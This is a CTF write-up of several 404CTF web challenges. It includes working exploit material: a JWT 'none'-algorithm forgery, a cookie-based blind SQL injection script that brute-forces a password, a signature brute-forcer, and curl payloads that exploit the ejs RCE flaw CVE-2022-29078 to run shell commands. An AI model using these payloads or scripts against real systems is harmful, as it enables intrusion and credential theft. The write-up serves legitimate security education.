/* 404CTF */

404CTF Writeup - Web category

Jun 20, 2023 · 10 min read

Le loup et le renard

As this is the first challenge, we expect an easy solution. We visit the website and look at the sources:

This brings us to the 2nd part of the challenge.

Following the page title Part 2: Cookie, we look at the cookies sent by the server:

Change the value from isAdmin to true and refresh the web page. This redirects you to the 3rd part of the challenge.

Looking at the sources:

We can see that if we send this form, we’ll be taken to the 4th page, which contains the flag (as the page’s url indicates). The only problem is that you’re quickly redirected to the 3rd page again. This is usually a script that redirects (as opposed to a server redirect).

There are many ways of bypassing the execution of this script. I initially tried running a curl to the page and it worked!

As the flag indicates, the page may have been protected by an authentication mechanism, in which case the command will be more complicated.

L’Académie du détail

We visit the website and do some exploring. Nothing interesting after looking at the sources so we turn out attention to the authentication page. This page let you login as any user with any password, except for the admin account which is already valuable information.

When authenticating to a web server, the natural question to ask is: What is the authentication method ? The Most common method is using cookies, so we check them out:

And we’re not wrong my friend, we have on our hands what looks (and is) like a JWT. When can check this out by using websites like jwt.io:

This token is encoding my username and an expiration date. Given the hint we have received earlier about the admin account, the natural course of action would be to forge an JWT containing {"username": "admin"}. In general this is not possible because JWTs are cryptographically signed, but maybe the web developer skipped the security section of when implementing JWT into his server. Let’s try the oldest trick in the book, in header when change the signature algorithm to “none”, effectively disabling the validy check of the token.

I have found this website than can do this (but you can write your python script if you’d like).

Swapping the token in the token with this new value and reloading the page should show us that we’re logged in as admin. Let’s now visit the /members protected route.

And that’s it, it worked !

La Vie Française

We visit the website and do some exploring: To sum it up:

Some restrictions on the form inputs:

I first thought about using an SQL injection attack to retrieve some information about the database, and eventually log into a privileged account. However, restrictions rule out this technique because SQL payloads need quotes or comments. Before dropping this idea and moving to something else, I had to checkout the cookies (always check your authentication method) and the server sets it to uuid=e212.... If we try to use an SQL injection attack the uuid field of the cookie, it works !

const testUsername = async (username) => {
  const response = await fetch(
    "https://la-vie-francaise.challenges.404ctf.fr/account",
    {
      redirect: "manual",
      headers: {
        Cookie: `uuid=' OR username LIKE '${username}%`,
      },
    }
  );

  // otherwise a redirection code 3xx
  return response.status === 200;
};

This method (and others similar) allow us to construct a valid username character by character (because of the % in the end) and since we are restricted to alphanumeric, it won’t take long.

For the username, we try different requests and we see that the user madeleineforestier account have a link to an /admin protected route. It means this is the account we want to hack.

Here is an implementation for testing all the next characters in the passwords and outputting the next one:

const characters = "abcdefghijklmnopqrstuvwxyz0123456789".split("");

const testPassword = async (password) => {
  const response = await fetch(
    "https://la-vie-francaise.challenges.404ctf.fr/account",
    {
      redirect: "manual",
      headers: {
        Cookie: `uuid=' OR username = 'madeleineforestier' AND password LIKE '${password}%`,
      },
    }
  );

  return response.status === 200;
};

const flood = (prefix) =>
  Promise.all(characters.map((c) => testPassword(prefix + c)));

const crack = async (prefix) => {
  let safetyCount = 0;
  while (safetyCount < 100) {
    console.log("Now at length", prefix.length + safetyCount++, "=>", prefix);
    const charIsValid = await flood(prefix);
    console.log(charIsValid);
    const nextIndex = charIsValid.indexOf(true);
    const finished = nextIndex === -1;
    if (finished) break;
    prefix += characters[nextIndex];
  }

  return prefix;
};

crack("").then(console.log);
//madeleineforestier:fo2dvkgshz2ppj

We try those credentials and access the /admin route for the flag.

Fuite en 1791

We visit the challenge website. After walking around, we find that the flag url is given to url, but it is protected by an expiry date and a signature.

It looks like we have to forge a new signature for an expiry date of our liking. In general this is not possible because the link (or any part of) is cryptographically signed. But maybe the developer invented was proud enough to roll his own signature algorithm ? If this is the case, then we might have a chance in reverse-engineering it or even cracking it.

Let’s try out different values of the expiry and signature and we notice that some values do work (return “Expired Link” instead of “Invalid signature”).

For example: expiry=-5625891070&signature=wawF6dC4Hz9g5NyCc3j1KCDcfztFE/sv.

The signature looks like a base64 encoding for the expiry value + maybe some salt or something similar.

I ran out this experiment a bit furthur, my initial goal was to get the right signature for expiry=-0000000000 and these are the results I gathered:

// notation: x|0 = floor(x)
// -1th of signature depend on -1th of expiry, in base64
// signature[-1] = 47 - expiry[-1]
// -2th of signature depend on -2th of expiry, in base64
// signature[-2] = 48 + 4*expiry[-2] - 32*(expiry[-2] / 4 | 0)
// -3-4th of signature depend on -3th of result, in base64
// signature[-3:-4] = 63 - 16*expiry[-3] + 64*(4 + (expiry[-3] / 4 | 0))
// -5th of signature depend on -4th of result
// signature[-5] = 4+(expiry[-4] % 4) - 8*(expiry[-4]/4 | 0)*(1 if (expiry[-4]/4|0) is odd else 0)
...

This was a tedious work, perhaps because of a wrong choice of basis/encoding, but it reveals a relevant pattern: The signature depends on 1 or 2 characters of the expiry and the dependency goes in like 1 1 2 1 1 2 ....

It time to set an easier goal: change the expiry from expiry=-5625891070 to expiry=+5625891070. The target charcater is at the -11th location, we expect it to change the -14th character of the signature, we can just brute force (easier because I haven’t worked out a nice formula).

Here is a script that does just that:

const base = "https://ddfc.challenges.404ctf.fr/ddfc";
const queries = {
  expiry: "-5625891076",
  signature: "wawF6dC4Hz9g5NyCc3j1KCDcfztFE/sp",
};

const base64 = [
  "A",
  "B",
  "C",
  "D",
  "E",
  "F",
  "G",
  "H",
  "I",
  "J",
  "K",
  "L",
  "M",
  "N",
  "O",
  "P",
  "Q",
  "R",
  "S",
  "T",
  "U",
  "V",
  "W",
  "X",
  "Y",
  "Z",
  "a",
  "b",
  "c",
  "d",
  "e",
  "f",
  "g",
  "h",
  "i",
  "j",
  "k",
  "l",
  "m",
  "n",
  "o",
  "p",
  "q",
  "r",
  "s",
  "t",
  "u",
  "v",
  "w",
  "x",
  "y",
  "z",
  "0",
  "1",
  "2",
  "3",
  "4",
  "5",
  "6",
  "7",
  "8",
  "9",
  "+",
  "/",
];
const base64encode = (number) => {
  output = "";
  while (number) {
    output = base64[number % 64] + output;
    number = (number / 64) | 0;
  }
  return output;
};

const buildUrl = (base, queries) =>
  base +
  "?" +
  Object.entries(queries)
    .map(([n, v]) => `${n}=${v}`)
    .join("&");
const checkUrl = async (base, entries) => {
  const url = buildUrl(base, entries);
  const response = await fetch(url);
  const content = await response.text();
  return content.indexOf("Invalid") < 0;
};

const replaceIndex = (str, i, c) =>
  str.slice(0, i) + c + (i == -1 ? "" : str.slice(i + 1));

const findSignature = async () => {
  // launch 64 requests at once
  const expiry = replaceIndex(queries.expiry, -11, "+");
  const results = await Promise.all(
    base64.map((c) =>
      checkUrl(base, {
        expiry,
        signature: replaceIndex(queries.signature, -14, c),
      })
    )
  );

  const index = results.indexOf(true);
  console.log(
    "url",
    expiry,
    replaceIndex(queries.signature, -14, base64[index])
  );

  return base64[index];
};

const main = async () => {
  console.log(await findSignature());
};

main();
// url +5625891076 wawF6dC4Hz9g5NyCc371KCDcfztFE/sp
// 7

If the try that url, we get the human rights declaration and in the bottom of the page, the flag:

L’Épistolaire moderne

In this challenge, we encounter a Single Page Application (SPA) that initially allows us to log in. However, the login mechanism seems to be well-protected against SQL injections, and the admin user is deactivated.

Upon successful login, we enter a chatroom where we interact with a princess. Sending random messages triggers various responses, some hinting that obtaining the flag won’t be as simple as it seems.

Exploring the chat’s features, I noticed that it can preview the titles of links. While attempting to leverage this capability for Server-Side Request Forgery (SSRF) attacks, I hit a dead end.

In the end, I concluded that there is nothing I can get out from this chat and turned my attention to the source code / cookies.

Here are my observations:

So I tried the obvious thing, try to get the flag using these “privileged” tokens and it worked !

Here is the flag: 404CTF{L34k_d3_C00k13s_s3cr3ts}

Chanson d’India

Chanson d’India was a captivating challenge that felt incredibly realistic.

Although I can’t provide any in-progress details since I’m writing this post after the challenge has ended, fortunately, the organizers of 404CTF have shared a helpful GIF demonstrating the challenge

Where can find their writeup here.

Initial approach

Initially, I attempted to find a template injection vulnerability by exploring the input that generates an audio element, but my efforts were unsuccessful.

I decided to switch gears and focus on scraping the website for potential clues.

Finding clues

A valuable page to inspect on any website is /robots.txt, which discloses which URLs the search engine crawlers can access.

User-agent: *
Allow: /
Allow: /scene
Disallow: /CHANGELOG.md

Surprisingly, I discovered the presence of a /CHANGELOG.md route Although it’s usually not publicly available, except for open-source projects, it seemed suspicious for this website. I hoped to find a hint here.

Reading the CHANGELOG.md, I gathered the following information:

Finding the vulnerability

Next, I explored the Snyk vulnerability database for potential exploits, taking into consideration the update dates of the components.

My search bore fruit as I found CVE-2022-29078, affecting ejs versions below 3.1.7, which enables Remote Code Execution (RCE).

Snyk also demonstrates how to exploit it and in this case, it looks like this:

curl -X POST "https://chanson-d-inde.challenges.404ctf.fr/scene" -d "url=www.google.com&delimiter=x&debug=true&settings[view options][outputFunctionName]=_;MYCODE;_"

The url parameter to pass the audio URL I wanted to play but the other parameters directly influence ejs.

Exploiting the vulnerability

The vulnerability allowed us to run shell commands using NodeJS’s child_process module.

Although there was a more subtle method involving the __append function to concatenate the input to the template, I wasn’t aware of it during the CTF and I opted for a less stealthy approach using error throwing.

curl -X POST "https://chanson-d-inde.challenges.404ctf.fr/scene" -d "url=www.google.com&delimiter=x&debug=true&settings[view options][outputFunctionName]=_;process.mainModule.require('child_process').execSync('python3 -c \"import sys; raise BaseException(sys.argv[1])\" \$(grep 404CTF flag/flag.txt)');_"

Which returns the flag: 404CTF{v01la_Ind14_S0ng_s3_tErm1n3}.

PS: I found this route by running ls commands using the same template.